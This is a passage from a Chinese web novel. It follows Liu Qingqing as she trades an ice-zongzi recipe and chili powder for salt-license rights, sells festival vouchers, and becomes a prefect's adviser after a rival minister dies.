他勉励了几句,刘青青趁机提起盐引的事。 卢雪樵戚眉看了她一眼:“朝廷有令,盐运司今年停止放售盐引,以后一律官卖!” 刘青青失望得耷拉着脑袋,卢雪樵话锋一转:“不过,之前已经放售的盐引,若不到期限,依旧有效,私人可以贩卖。” 卢雪樵似笑非笑看了她一眼:“你老实交代,好好的,弄什么盐引,莫要拿盐焗鸡来糊弄我!” 贩盐之事,不是刘家现在能掌控的,郭守云一个小秀才,镇不住四周的狼才虎豹,可是让盐井闲在那里,刘青青感觉错过了一个亿。 金大腿近在眼前,此时不抱更待何时。 她嘿嘿一笑,露出狗腿的表情:“师父果然一叶知秋!” 委屈道:“嗨,别提了,这不是青华园分了点红利们,我们家盖房子挖地基,有一个基坑不停的冒水,害得我们家的新房要换个地方盖。 我爹打算将那个坑修眼水井,试了一下,竟然是咸的,煮出些盐巴!” 她说得轻描淡写,甚至还有一点点意难平。 喝着茶的卢雪樵呛了一大口,咳得惊天动地,指着刘青青半响说不出话来。 听听,这叫人说的话么。 多少盐商穷极一生找不到一口盐井,她倒好,盐井跑到她家墙底下,她竟然嫌弃盐井占了她的房子。 乡下的一幢房子,能值多少,若让那些盐商选择,肯定用府城的一座五进大宅和她换,不,至少得十座。 同时,他再次感叹刘青青化腐朽为神奇的气运。 一年前话都说不利索的野小子郭守云,通过她的钞能力,读书一年便拿下了童生试案首。 迷障山林在府城豪绅中流转数年,没人有能发现橡胶树的妙用,是人人嫌弃的臭树,到了刘青青手中,变成了日进斗金的橡胶园。 村子里人人嫌弃的盐碱地,到了刘青青手中,变成了价值万金的盐井。 到他这个地位,知道很多时候人力不可为,讲究的是一命二运三风水,顺势而为。 刘青青完全是天运的宠儿,他悄悄在内心,将刘青青的地位拔高了些,不再以晚辈看待,而是当同辈来平视。 卢雪樵思绪万千,面上平静道:“府城有盐引的商家许多,大部分是临期的,不过,遇仙楼盐引是三十年的,想来还能用些年!” 遇仙楼背后是薛阁老,盐运司管不到他家头上。 薛阁老和恩师政见不合,主张和亲公主换取两国边境安宁,堂堂男子汉大丈夫,竟要躲在女人的裙子下苟活,一想起这些糟心事,他的心便好似无数把锥子在扎。 他恨啊,恨自己不是能领兵 作战的大将军,能将金人斩于马下。 可惜,薛阁老把持朝政,排斥异己,打压武官,弄得整个朝堂一片乌烟瘴气,他因私下斥骂薛阁老,被外放到这西南之地。 卢雪樵给了信息,饶有兴致的喝着茶,轻描淡写道:“你砸个十万八两的,遇仙楼想来会给你一份便利”! 遇仙楼啊,情理之中。 作为府城最大最豪华的酒楼,它本身是个用盐大户,肯定不会被盐商掐着自己的脖子,理应有自己的盐引。 可是,遇仙楼凭什么把盐引与青华楼共享啊? 想起薛文豪钻进钱眼里的性子,李青青一阵牙疼。 刘青青还没想好用什么打动薛文豪,转眼已经到了四月下旬,青华园里草长莺飞,厨房里来请示她准备卖什么样的粽子的时候,她突然就有了想法。 她让厨房用木薯粉做了几款精致的水晶粽子,兴冲冲下了帖子给薛文豪。 薛文豪穿金戴玉如约而至,到了刘青青的花厅,嫌弃的撇撇嘴,身后跟班很有眼色的铺上崭新的垫子,他才勉为其难的坐了下来。 刘青青木着脸,看着他对茶几上的玫瑰花茶视而不见,拿出自己的鸡缸杯,从腰间的荷包里取出一点传闻中的雨前龙井冲泡,忍不住翻了个白眼! 好家伙,这是来炫豪的啊!刘青青很配合的决定褥一把羊毛。 虽然她讨厌喝茶,架不住阿云喜欢,她毫不客气走过去,将他手中的荷包顺了过来,茶叶倒 进一边的小杯子里,荷包丢给他:“啧,不愧是京城来的,果然是见过大世面啊!” “这点子茶叶,也给我尝一尝呗!” 薛文豪眨眨眼,握着手中空了的荷包,欲哭无泪。 这点子茶叶是老爷子赏给他的,不显摆显摆实在是锦衣夜行,却被这个混不吝的抢了去,正要翻脸,刘青青立马将一旁包装精美的木盒捧了出来,露出里头碧绿的粽叶编织而成的龙舟,三只精美异常的水晶粽子排列整齐的躺在龙舟里。 “你想不想赚点零花钱?” 薛文豪生怕鸡缸杯也被她抢了去,紧紧的握在手中。 嫌弃的撇撇嘴,月饼就玩水晶的,粽子还玩水晶的,能不能有点新意啊,早就审美疲劳了。 不过还是被零花钱勾住了心神,忍不住反问:“卖粽子么?”【你现在阅读的是 】 140-150 第141章 第141章薛少自认的公平交易 刘青青将三只粽子怼到薛文豪面前:“你好好看看,这不是水晶粽,是冰粽!” 冰粽,这倒是没听说过。 薛文豪又瞅了一眼,被揭开的盒子里,三只晶莹剔透的粽子,已经有了融化的迹象,不如一开始的紧实。 他伸手捧起一个,薄薄的木盘底座里,粽子软软的趴在那里,像是因划龙舟累惨了的小胖子。 透过外面透亮的冰皮,能看到里面淡黄色的芯。 薛文豪试探的用配着的小勺子舀了一点,外面的皮像冰面一样透亮,却不像冰层那样滑硬。 粽子轻轻的就被勺子刮下来一层,他将小勺送到嘴里,冰皮入口清冷绵软,甘甜悠长,五月的燥热瞬间就被浇灭了,只剩下透心凉的甜。 他瞅着凹了一个口的粽子,没忍住,一勺接一勺,将剩下的冰皮全都吃完,只剩下里头不晓得什么是什么,黄中带着橙色的馅料。 抬头看了刘青青一眼,见她笑盈盈的看着他,试探的挖了一小勺馅料放在嘴里。 酸酸甜甜,棉柔细腻,奶香丝滑浓郁,又带了若有若无的咸味,甜美微咸竟然完美的融合在一起,在舌尖上层次分明的爆炸开来,让人产生了更加凉爽甘甜的感觉。 里头的橙色颗粒,竟然是小块小块的黄桃,脆甜滑溜,搭配细腻的淡黄色馅料,脆中有绵,软中有粒,美味至极。 等他吃完一只,刘青青才开口介绍:“你吃这只是芒果黄桃粽,旁边这只粉色馅料的覆盆子水蜜桃粽,这只白色的是香芋坚果粽。” “这些粽子采用新鲜的牛乳搭配鲜果,冰制而成。” 薛文豪自觉是见过大世面的,但这样的粽子也是首次吃到,无他,冰在酷热的夏天是奢侈品,甜饮子里放点冰块已经是莫大的卖点,她倒好,直接将这些饮子冰冻起来,丝滑软绵,那是从来未出现过的口感,他能想象到,那些富家千金和豪门公子,为了这么一只粽子,争相抢夺的场面。 薛文豪承认,他动心了! 干脆利落的开口:“你把这个冰粽的配方给我,开个价罢!” 刘青青嘿嘿一笑:“薛少真是见外了,你我合作过多次,怎么好叫你掏银子,这个配方不要钱,青华园和你遇仙楼共享。” 薛文豪贪钱,但并不傻,闻言觑着她:“哟,你看上我遇仙楼什么了?” 刘青青嘿嘿一笑:“也不是看上,就是想用一下你们的盐引,你晓得,我们青华园不像你们遇仙楼,走得高端精品路线,我们走的是薄利多销的路子,食盐消耗量实在太大,从盐商手里买盐,被掐了脖子,赚不到多少钱,这不是想降低点成本么!” “你们的盐引闲着也是闲着,给我们一个授权,何乐而不为呢?” 薛文豪指了指桌上已经化了一半,因颜色混在一起变得难看的冰粽:“冰粽时效太短,不可能大规模售卖盈利,你真想要盐引授权,也不是不可以,弄点有诚意的东西出来!” 刘青青好似早有预料,继续道:“这几款精致的,是让客人在你们酒楼吃的。” “你想啊,酒饱饭足,满嘴油腻,弄一杯这样的甜点端上桌,不要太上头,不仅可以做粽子,还可以做成花朵,月饼,万物皆可做。 至于想带走的客人,你们送货上门,保证将冰粽完整的端到客人家的茶几上。” 薛文豪有一点心动,要是他把这个配方弄到手,南平府地处西南边陲之地,但是最富饶的上京城里,有权有势的人家多得是,不愁赚不到钱。 而且祖父怕热苦夏,想来是极其喜欢这个甜品的。 作为商人,他很清楚的知道不能让对方摸到自己的底,故意挑刺嫌弃:“这个甜品听起来不错,成本想来不低,万一做出来不能及时卖掉又坏了,损耗太大,不划算!” 刘青青诧异道:“你为什么要做出来才卖呢,你不能先收了钱再做么?” 薛文豪懵逼了:“什么叫先收钱再做?” 刘青青给了他一个你真是笨死了的眼神,将手边的一个小木盒打开,露出里头的一张张画着粽子的精美彩色卡片。 “诺,我做了粽卷,提前预售,冰粽凭借粽卷送货上门,其他的自提。” 薛文豪接过来一看,每一张卡卷约摸手掌大小,各种颜料画着漂亮的粽子外,还标明了粽子礼盒名称和面值,还有一串莫名其妙的符号和青华园的印章。 比如他拿的这张是鲜果缤纷冰粽礼盒,形象的将他刚才吃的粽子画在了卡片上,面值也高达888文。 下一张是水晶粽礼盒,这款粽子是红酥手去年的爆品,面值188文。 下一张是鸡枞猪肉粽,咖啡色的粽子里躲着油汪汪的肉粒,间或几丝金黄的鸡枞,看着就流口水,面值188文。 再下一张是酸辣竹笋粽,艳红色的粽子里露出一截雪白的竹笋,犹如红衣下的美人,面值188文。 他曾悄摸摸尝过青华园的酸辣粉,其中的辣味让人流连忘返,记忆深刻,不晓得是什么调料。 粽子竟然也能做到又酸又辣,他忍不住咽了咽口水,没有再往下看。 开门见山道:“除了冰粽的配方,你把辣味的调料弄一吨来给我,我便给你三年的盐引授权。” 刘青青嗤笑:“您可真敢说,辣粉是我重金从西域弄来的调料,你开口就是一吨,干脆去抢好了!” 薛文豪也觉得自己好似提得太高了些,做生意嘛,漫天要价,就地还钱。 他摸了摸鼻子,自动降 价:“辣粉必须有,除了盐引授权,你开个价,要多少银子尽管提。” 刘青青幽幽道:“我手里还有存货,分你一些,也不是不可以,第一,给我十年的盐引授权,第二,一公斤辣粉一百两银” 一百两一公斤,一吨便是十万两,嘶,也太贵了些。 薛文豪头摇得像拨浪鼓;“不成,太贵了,十两一公斤!” 他眼巴巴的看着刘青青,希望她能答应。 这个春天,刘青青采用预先付款的方式,每亩地补贴5两银子,用了1万5千两,说服整个清水沟村,放弃种植稻谷,全改种小水枪催发过的辣椒苗。 签订了契约,收获的辣椒必须全部卖给刘家。 若有违契的,不仅赔偿百倍的违约金,而且逐出族谱,赶出清水沟,以盗窃罪送官。 三管齐下,杜绝了辣椒苗流出清水沟村的可能,至少两三年内不会流出。 村民们算了笔账,自己种植稻谷,劳累一年,一亩地最多收获一吨稻谷,得大米600公斤,合计3.6两银,如今刘青青一亩地出了5两的租金,约定好收获的时候,按照辣椒的产量发辛苦费,大家毫不犹豫和刘家签订契约,将稻田改成辣椒田,精心伺候辣椒苗。 刘青青算了笔账,清水沟稻田3千亩左右,一亩地约摸能收获2000公斤的成熟的红辣椒,即四百公斤干辣椒,去掉辣椒籽,还剩200公斤。 三千亩地,预计收获600吨辣椒面,卖给薛文豪一吨,剩下599吨,足够青华园一年的用量。 而且,薛文豪这一万两恰好能将预付给村民们的账抹平大半。 正当她在心中拢账的时候,薛文豪以为她不答应,嫌弃价格太低,小心翼翼道:“最多十五两一公斤,不能再多了!” 刘青青愕然了一下,看着主动加价薛文豪,心里很是痛快,好极了,租用土地的费用被他包圆了。 怕答应得太快他返悔,故意坤了一下,露出肉疼的表情:“既然你这么有诚意,我匀一吨给你就是!” 薛文豪生怕她变卦,立马让跟班掏出纸笔来书写文书。 刘青青捏着笔,睁着眼睛说瞎话:“好叫你知道,青华园里库存的辣粉已经用完了,我的人现在还在西域,飞鸽传书来已经弄到两炖辣粉,不过因为北方的战事,可能要耽搁到七月份才能回来,你想好了,要不要签这份契书!” 薛文豪表示理解,这么金贵的调料,等两个月是应该的。 两方磋商后,达成了协议。 刘青青出冰粽的配方、一吨辣粉,薛文豪给刘青青十年的盐引授权,并且支付一万五千两白银,因辣粉还未交货,先支付5000两的定金。 看着面前的送财公子,刘青青好心情的和他分享粽卷的用法。 “我们青华园计划大规模按9.8折预售粽券,顾客凭借粽券随时可以提货,用不掉的粽券常年有效,或者不想要了,可以到青华园退券。” 薛文豪翻了个白眼:“冰粽因为时效短,预收制确实合理,但是其他普通粽子就没这个必要了罢,又是找画匠制作粽券,还要铺设人手预卖,到时候客人不想要了,还要回收粽券,不是劳民伤财么?” 刘青青见他不懂其中的关窍,提醒道:“粽券可以有效避免我多压货,吃食不像粮食,耐放,我们青华园的吃食都是当天现做的,一来口感好,二来不会吃坏人肚子。 通过预售券,我们可以精准的做出恰好的粽子,不多也不少,而且,回收粽卷的时候,我们是按照面额的7折回收,我们巴不得全部回收,意味着,一张188文的粽券,流出去收回来,我们什么都没有做,便赚了56文。” 刘青青暗搓搓的提醒他:“衙门也要过节,要是衙门大规模的采购粽券,你说,衙门里的那些小官小吏吃不完,会不会来退呢?” 漫不经心靠在椅背上的薛文豪,立马坐直了身子。 刘青青搞不定衙门,但是他能,准确来说,是祖父能。 花朝廷的钱买粽劵作官吏福利,既让遇仙楼赚了钱,又收买了人心,还博得美名,祖父一定会支持的! 第142章 第142章聘书 今年的端午节有点不一样,夏季炎热,雨水充沛,北方原野水草丰茂,金人老老实实退回草原深处放牧,边境难得平安,朝廷上下松了一口气。 在这样的背景下,薛阁老有暇回府,召集七个儿子吃了顿饭,顺便询问最近七个儿子管辖的那一摊子事物。 年近70的薛阁老信奉一把筷子力量大,最大嫡出的儿子年近50,最小的30多,七房人家,下面孙子二十多个,被他安排在薛家大院里,和睦相处,井井有条,各司其职。 老大老二嫡出,带着身边做官,剩余的儿子们打理产业。 闲话之余,平时闷不吭声的庶子老六招呼下人送上点心,亲自捧了一叠呈给他,描金边雪白的小磁盘里躺着一枝翠绿的树枝,冒着丝丝寒气,犹如皑皑雪原冒出了新翠,在这炎炎夏日,感觉身边降下好几度,又有无限的生机。 薛阁老接了过去,入手冰凉,身边的炎热全都消退了。 他捡起碟边精致小勺,舀了一点放到嘴里,入口浓浓的茶香,丝滑冰甜,从舌头开始,凉爽的感觉瞬间传遍了全身。 薛阁老平时注重保养,上了年纪的人,牙口不是太好,这个点心轻轻一抿便化了,深得他心。 见他已经吃了半盏,庶子老六劝道:“父亲,冰点味美甘甜,却寒凉伤脾,还是少用些!” 薛阁老看了一眼面前情深意切的六儿子:“嗯,不错!你不是一只惦记这我的那只夜光杯么,配这个冰点吃,更应景,给你了!” 薛珀扫一眼围在周边露出羡慕嫉妒眼色的众多兄弟,心里得意至极,脸上不显,连忙弯腰躬身道谢:“嗨,儿子日日在上京,哪里会这些。小十八惦记您,知道您苦夏,特意为您做的。” 薛阁老恍然了一下,薛家枝繁叶茂,下面孙子众多,老六口中的小十八,他有点印象,是个孝顺的好孩子。 他看了一眼薛阁老,见他没有露出不满的神色,继续道:“阿豪上山采集了春天头茬的嫩茶叶,上锅蒸一蒸杀青,再做成茶饼,烤干后用石磨磨成粉末,兑上鲜牛乳,饴糖倒入磨具中。” “他还让人送来了一种石头,名叫硝石,将磨具浸在水中,放入硝石,各种口味造型的冰点便做成了。” 他暗搓搓的为自己儿子某换职位:“父亲,冰点除了能做成甜点,还能做成粽子,趁着端午节,一定能大赚一笔,您看,是不是在上京总店中推广一下?” 他期盼的看着薛阁老,眼里盛满了小星星,希望他点头。 若在总店中推广,作为冰点的创造人薛文豪需要调回来。 从分店店长,升职位总店店长,六房在薛家的地位水涨船高,便可以登上一个台阶。 薛阁老戚了下眉头,凭借这道点心便把小十八升上来,有些过了。他立马拒绝道:“先 让他在南安府推广,做出成绩,再回来不迟。” 薛珀诶了一声,捧出怀里的一沓粽券,继续道:“父亲,阿豪为了更好的售卖粽子,发明了粽券,您看,衙门里要不要订一些给官吏们?” 大半年来,北线的战事,寒冬暴雪救灾,春闱阅卷,大事小事挤在一堆,官员们轮轴转,过年的时候国库吃紧,现在还有一点剩余,是应该借着端午节犒劳犒劳手底下那些官员。 只是不好做得太过,他示意所有儿子道:“尽快把样品、粽子卷做出来,三天后去衙门投标!” 提前得到了消息,薛家名下的遇仙楼肯定都能中标,看着几个儿子急忙去准备,薛阁老欣慰的扶了扶胡须。 既收买了人心,又保全了自己的羽毛,让家里多了一笔收入,薛阁老心情大好,把剩下的半盏抹茶冰点也吃完了。 薛阁老六十八的人,平时保养得意,饮食注意,哪里受得住如此寒凉的冰点,加上连日的劳累,夜间便有些不自在。 他是个不服输的性子,忍着不适又忙碌了一整天处理政事,晚间回府便开始发起热来。 人参柴胡丹桂不要命的灌下去许多,薛阁老躺在榻上,一日不如一日,半个月后便一命归西。 当家做主的薛阁老一去世,众多兄弟纷纷指责薛珀,痛骂他害死了薛阁老。 薛珀很是委屈,当日人人吃了冰点,他回到屋以后,因大太阳下走出了一身的汗,热的不要不要的,连干了三盏冰点,都好好的。 明明是薛阁老年岁已大老去的,与冰点各何干?他不忿兄弟们平时欺负看不起六房,现在又借口他害死父亲,想霸占六房的家产,恼怒之余,提出分家。 七房人家挤在一个大院子中吵吵闹闹,平时有薛阁老压着,和睦相处,头上的镇山太岁去掉,薛家立马分崩离析,为家产分配吵得昏天暗地、不可开交。 在薛家忙着分家产的时候,放粽子券的政令已经发出去,各级衙门收到批文后,欢欢喜喜开始设标。 其他府不讲,南安府的卢雪樵得了批文,立马把府城里的各大酒楼点心铺子召集而来,简短的交代了一下。 其他酒楼还在懵逼中,通过口头叙述,唾沫横飞讲一下自家粽子的口味优势,排在最后的刘青青慢丝调理的掏出自家的粽子券,在大家眼前晃了晃,粽子模样生动直观、口味齐全、价位合理,对比大家口说无凭,人家已经将想法落实到画面上。 青华园不中标,其他掌柜都觉得不合理。 摘星楼、福满楼两个掌柜对视一眼,他们没准备,颁发政令的是薛阁老,遇仙楼竟然也缺席,这不应该啊。 将疑惑的目光投像刘青青,难道她做了什么手脚,让薛文豪绊住了? 刘青青也正不解呢,衙门统一购买粽券这事,是她怂恿薛文豪做的,没道理他不来赚这笔钱啊。 半个月后,薛阁老的讣告广发整个大赵,刘青青才知道原因。 因为薛阁老去世,张阁老独揽大权,将分散四地的弟子召回中枢,卢雪樵也是一个,从南平知府升任兵部侍郎。 打听清楚前因后果的卢雪樵,看着面前有些局促的刘青青,和握着刘青青手的郭守云,再次感叹,这确实是他的贵人。 谁又能想得到,备受皇上宠信的薛阁老,让他们主战派的远走他乡避其锋芒的薛阁老,竟然因为一杯小小的冰点,便一命呜呼。 当然,冰点是夏日难得的美味,他也吃了十多杯,半点没事。只能说,这是老天的安排。 既然老天安排薛阁老过世,自己的师尊张阁老掌权,那是不是意味着,明年金人犯边的时候,大赵就能个金人痛痛快快打一场,不再做躲在女人身后的孬种。 刘青青侧坐在椅子上,悄悄瞟一眼对面一墙面的书,这是卢雪樵的书房。 这个时代的士大夫,书房便是最看重的办公场所,她和郭守云被带进来的时候,小小惊讶了一下,继而便是紧张,不晓得师父有大事什么要交代? 沉默了半响,卢雪樵面色平缓道:“不日我将回京,你们两是跟我一起,还是继续留在南平府?” 对上刘青青不解的目光,他肃穆郑重的将朝廷的局势解释了一遍:“薛阁老原是皇上在东宫时的座师,一直深受陛下信任,因他过世,陛下伤痛不已,不能上朝。朝事压在师尊身上,我们得尽快回去,帮着跑下腿。” 简答的几句话,刘青青听明白其中的意思,精髓便是,主和派薛阁老去世,手底下的徒子徒孙给主战派的张阁老一系让队。 这些神仙打架,他们这些小杂鱼跟着去干吗,当炮灰么? 刘青青和郭守云对视一眼,从对方眼里看到了拒绝。 刘青青摆摆手道:“师父,薛文豪已经把盐引转卖给我,我们得盯着这事情呢!”薛家最大的靠山倒了,薛文豪干脆将盐引转卖给了青华园,当然,刘青青低于市价支付了盐引的转让费后,还给了他一大笔回扣。 他们不愿意跟着一起去上京,卢雪樵有那么一点小失望。 在他心目中,刘青青已经升级为小福星,只要她经手的事情,都会向着希望的方向行走。 卢雪樵也不勉强,卖了个关子:“也行,你们就在此地!放心,我已经和继任的知府打好招呼,青华园依旧会茁壮发展。” 刘青青和郭守云送走匆忙离去的卢雪樵一家,迎来了新的知府大人,和他们是老熟人,竟然是温如初。 南平府辖区十个县,去年年关的时候,常平县交的税赋是最多的,政绩斐然。 接任常平县的县令,也是老熟人,竟是谢玉华。 因为有了刘青青,常平县百姓的生活发生了翻天覆地的变化,自己的政绩薄上写的满满当当,顺利提拔。 温如初看着她,眼神里充满了感激和期待:“阿青姑娘,常平县在你的带领下,百姓吃得饱穿得暖,顿顿能吃大米饭,三天吃一次肉。” “现在我是南平府的知府,治下变成了十个县,希望你帮忙出谋划策,让整个南平府的百姓,都过上一样的日子!” “你放心,有什么好的想法,尽管提出来,我一定会不予余力的支持落实!” 领着他们到府衙里一间窗明几净的房间,指着桌上盖着南平府府衙钢印的文书:“以后,这便是你在府衙的的值房。” 刘青青捧着文书眨眨眼,有些不敢相信。 这是一份师爷的聘书,上面正楷写着她的大名,鲜红的官印昭示这对她的承认。 郭守云欢喜的看着他:“阿青,你是整个大赵国,第一个有正式文书,在衙门有正式值房的女官呢!” 第143章 第143章合伙人与伙伴 五月底,端午节落下了帷幕,刘青青坐在青华园里归拢账本。 合计卖出了粽券12万张,回收粽券2万张。 硝石制冰成本太高,冰粽限量销售,只卖出了一百多张,净利润40两。 大头是平价的普通粽,售价188文,兑券10万张,回收2万张,净利1万两,回收券利润1000两,光卖粽子,青华园这月便净利11400两银子。 高端定制的硝石制水果冰淇淋限量销售,平价的小牛奶保证让人吃个够。 过年冬天的时候,乱石山夜间温度降到零下,刘青青在山上盖了个简易的加工坊,调来大批牛乳,兑上精糖煮沸后,倒入磨具放在室外,一只只冰冻好后收入箱子,用稻草包裹,送入冰窖与大冰块一起储存。 想到这,刘青青一阵肉疼,精糖好贵,末世随处可见的平价白砂糖,现在竟然要一百文一公斤,府城周边养牛的人家,牛乳全部供应给青华园,还是远远不够,两样综合下来,加上人力,冰冻小牛奶的成本竟然在五文一个,青华园售价六文,相当的良心价了。 因为小牛奶的引流,青华园这一个月的人流量暴增,带动了其他产品的销量,净利润1万两,总合计2万1千4百两,刘青青正计 划着拿多少出来给大家发绩效奖金的时候,棉花黑炭跑进来,咬着她的长衫下摆往外拖。 温如初聘她做了知府的师爷,在府衙里设一间专属的签房,允她隔日去上一天值,她现在两边跑,穿长衫方便些。 刘青青掰开棉花的大脑袋:“你把我的新衣裳咬花了,快松开!” 棉花呜嗷了一声,委屈的松开她,绕着她走了一圈。 两只大狼威风凛凛在前面带路,刘青青尾随在后,来到两只大狼的窝棚里。 里头还垫着冬日铺进去的貂毛大裘。 刘青青一拍脑袋,这段日子,忙着育苗种棉花,卖粽子,各种杂事,竟然忘记给棉花黑炭清理窝棚。 她内疚的冲着棉花黑炭笑笑,走过去拖出掉了许多毛的大裘,这是赵兴冬从山洞里找出来的,被她随手丢给棉花黑炭保暖。 经过一个冬天,裘衣的毛被棉花黑炭撕扯得光秃秃的,甚至破了个口子。 刘青青嫌弃的用脚踢了踢:“疑,你们半年没换床单了,真难闻!阿云,你有没有闻到?” 她转过身,后面空荡荡的,只有棉花黑炭在摇尾巴。她才想起来,郭守云升入玄字班,课业更加繁重,这一个月竟然都没有回来。 随着夏天的到来,棉花黑炭没事便要去湖里游两圈,身上干干净净的,不用她再帮忙洗澡,竟然忘了帮它们清洗窝棚这回事。 她揉了揉棉花黑炭的脑袋,心底闪过一丝惆怅,一直在身后那人不见了,有点不习惯呢。 她闷声不坑折起坏了的大衣,打算拿去扔掉,从破损的口子里掉出一张黄色的纸来。 刘青青惊讶的捡起来,这张纸手感细腻,颜色发黄。 难道是传说中的羊皮纸? 想起赵兴冬对这件大衣念念不忘,原来里头暗藏玄机。 刘青青打开一看,她的心咚咚咚急速跳了起来:竟然是一张南平府的铁矿铜矿分布图。 啧,真是捡到宝了。 正琢磨着怎么发展南平府的经济呢,老天便送来了机会。 刘青青仔细收好图纸,拍拍棉花黑炭的大脑袋:“乖宝宝,好样的,奖励你们吃牛肉串!” 这年头,牛可是奢侈品,官方不允许吃耕牛。 盐引到手后,刘青青重新规划,盐井那里改成了煮盐工坊,刘家的新房往后退了一百米, 清水沟村轰轰雷雷的动工,盐井已经投入采盐。 从深深的盐井里采集卤水是个力气活,刘青青和工匠提了滑轮原理,由着工匠们去设计。最后成型的效果挺让刘青青满意,由黄牛绕着大磨盘旋转,带动上面的链条,拉出齿轮,便把深井里的卤水提起来。 卤水运到特制的平底铁锅中熬煮,加入适量的豆浆,滤出杂质,熬干水分,最后便能得到雪白的盐巴。 清水沟盐井的盐巴颗粒较大,比起其他地区的盐巴有一种特殊的香味,品质上乘,一上市,便引来许多百姓购买。 采集卤水需要较大的力气,用的是成熟的大黄牛。 盐坊里二十四小时不停的冒着炊烟,百口铁锅同时开煮,将一锅锅的卤水变成了雪白的精盐,再通过船只,运向四面八方。 这个过程中,出大力气的全是黄牛,比较费牛,十天半个月便有黄牛累死,没办法,没有电力的时代,从深井中采集卤水是个重力活,累死黄牛,总比累死人好一点。 死掉的黄牛宰杀后运到青华园,开发出一道道特色的美食,对外售卖。 一月不见,刘青青有点挂念郭守云,打算弄好后,带一点过去给他尝一尝。 牛肉选牛肋排上的夹层肉,肥瘦相间那种,刘青青算了算量,棉花黑炭一只三公斤,碰碰瓷瓷一只三公斤,便是十二公斤。 表妹宝珠儿跟在大春身边管理女舍,表哥刘瑞已经接受了赵峰手里的活计,管着男舍,还有其他大大小小的管事,合计切了二十公斤。 刘青青挑出大半牛肉,切成手指厚的薄块,没放佐料,那些是棉花黑炭和碰碰瓷瓷的。 剩下的牛肉切成一截拇指大小的块,然后打入鸡蛋,姜汁,葱白,少许清水沟出产的精盐调出的盐水,不停的搅拌,直到牛肉将佐料全部吸收进去。 等牛肉变得饱满,湿润,再加入辣椒粉,少量八角粉,大料粉,淀粉,充分揉捏,让每一块牛肉丁上裹上佐料,腌制半个时辰。 时辰到了后,用竹签将牛肉一串串串起来,一定要肥瘦相间。 烤架上燃起木炭,等木炭万千点燃,变得通红无烟的时候,便可以上架烧烤。 通红的木炭散发出剧烈的热量,灼烧牛肉表面,冒出滋滋的声响,肥肉因为火力变得焦黄,鲜红的瘦肉外皮收缩,变成了咖啡色,刘青青数到十五便翻过来烤另外一面。 再数到十五秒,最后撒上茴香粉芝麻粒,继续烤五秒,滋滋作响冒着香气的牛肉串便做好了。 围观的十多人,忍不住吞了吞口水,一人接过一串。 宝珠儿一边吹,一边咬了一嘴。 肉串上,肥肉烤得焦透,炸干油脂后一点也不腻,入口即化,瘦肉外面焦熟,锁住里头的水分,让牛肉粒外焦里嫩,鲜嫩多汁,在辣粉茴香粉的激发下,又鲜又美! 唯一的缺点就是太少,三口便干完一串的宝珠儿眼巴巴的盯着刘瑞手中的烤串。 刘瑞拿她没辙,将剩下的半串递给她,自己接手烤制起来。 刘青青指导了一遍,大家火候掌握得有模有样,她悄悄退后,提起篮子骑着大妞往府学奔去。 正在学舍里苦读的郭守云从窗户里看见棉花黑炭探头探脑,哑然失笑,不晓得阿青又打发棉花黑炭来送什么。 他起身打开门,棉花黑炭跳了进来,先扑在他身上,大脑袋在他腿上揉了揉,习惯性的露出白肚皮让他挠痒痒。 郭守身笑着将棉花从身上扒拉下来,嫌弃不已:“你脚上全是泥,是不是又从地里抄小路!” 见它并没有挎着包裹,让他小小的疑惑了一下。 棉花心虚的退后了几步,把爪子在郭守云的床榻上擦了擦:“呜,嗷嗷嗷……”转身便跑。 郭守云看着淡蓝色的床单上几个黄色的泥巴印,哭笑不得,关好门,跟在后面。 棉花黑炭在前领路,他跟在后面,穿过学舍,走了约摸一刻钟的,到了他常背书的树林里,看到了熟悉的人影,竟然是刘青青。 这里有一个小池塘,旁边一块大石头,刘青青已经在池塘边架起火堆,用几个木头架起铁丝网,上面排列整齐的肉串,肉块,滋滋的冒油,散发着浓重的香气。 他面上满是不赞同,但发亮的眼睛,勾起的唇角显示了他此刻的欢喜:“你怎么进来了?府学不允许女子进入的。” 嘴上说着批评的话,手上却自然而然的接过她手中的烤串烤了起来。 在他眼中,任何离经叛道的事,落在刘青青身上,再正常不过。 刘青青笑笑:“没事,我悄悄翻墙进来的,不会有人发现的。你们府学真是财大气粗,围了这么一大片野树林。 村里送来些牛肉,想着你在府学没得吃,弄一点过来给你解解馋。” 郭守云将烤好的牛肉串,一把递给她:“嗯,确实香,你也吃!” 棉花黑炭急了,为什么没有它们的份,流着哈喇子在郭守云脚下不停的转悠。 郭守云扭脸看了眼篮子,轻轻踹了它们一脚:“少不了你们的,这一锅就是。去叼几片叶子来当食盆,我把肉给你们卸下来,难道你们还会撸串不成!” 刘青青心虚的背对着它们,当时窜的时候满心都是撸串的快乐,忘记棉花黑炭碰碰瓷瓷没手,来得冲忙,忘记带盘子筷子。 棉花黑炭低头瞅了瞅自己的毛爪子,心塞不已。 两大只深深吸了一口气,依依不舍看了一眼刘青青手里的烤串,瞟一眼烤架上冒着香 气的肉排,扭头钻进树林里。 刘青青一边吃,一边絮絮叨叨抱怨:“碰碰瓷瓷越长越大,胖得像头猪,已经有六十八公斤,那么大一个,根本不敢带出来!”她用手划了一个圆。 她想不通,老虎小时候那么可爱,圆头圆脑的,大了怎么就变丑了呢。 还是又怂又赖皮的样子,一不开心便睡在地上装死不愿意动,她根本搬不动,呜呜,再也没有小时候的惹人怜爱了。 刘青青干完手里的烤串,郭守云已经递上新的烤串。 她看着他手里绿油油的烤串,很是不乐意:“肉还有许多,干嘛给我韭菜蘑菇,我不要。” 郭守云无奈劝道:“你都吃了整整二十串肉了,吃多了肚子疼。我晚上不回去,谁给你揉肚子啊!” 好吧,刘青青接过青头菌串,这个味道也相当的美,又鲜又甜。 郭守云见她开始吃了,从篮子里倒了一杯玫瑰醋给她,才开始烤剩余的牛肉串。 湖风徐徐吹着,两人围坐在火堆旁,一口串一口小牛奶冰棒,间或喝一口酸酸甜甜的红色玫瑰醋,说着家常里短,那便是幸福的滋味。 不一会,棉花黑炭回来,棉花嘴里叼着两大片芭蕉叶,黑炭嘴里竟然叼着一支翠绿的枝叶,里头繁星点点,开满了白色的小花,讨好的送到刘青青手里。 啧,机灵鬼,知道要送女生花了! 刘青青接过枝叶,深绿色的叶片中,躲着一朵朵半开不开的小花,感觉似曾相识。她逮过黑炭撸了一把毛,才放它去吃自己的肉串。 郭守云已经贴心的在水里洗干净芭蕉叶,作为临时的食盆,把烤好的肉串放在芭蕉叶上给棉花黑炭吃。 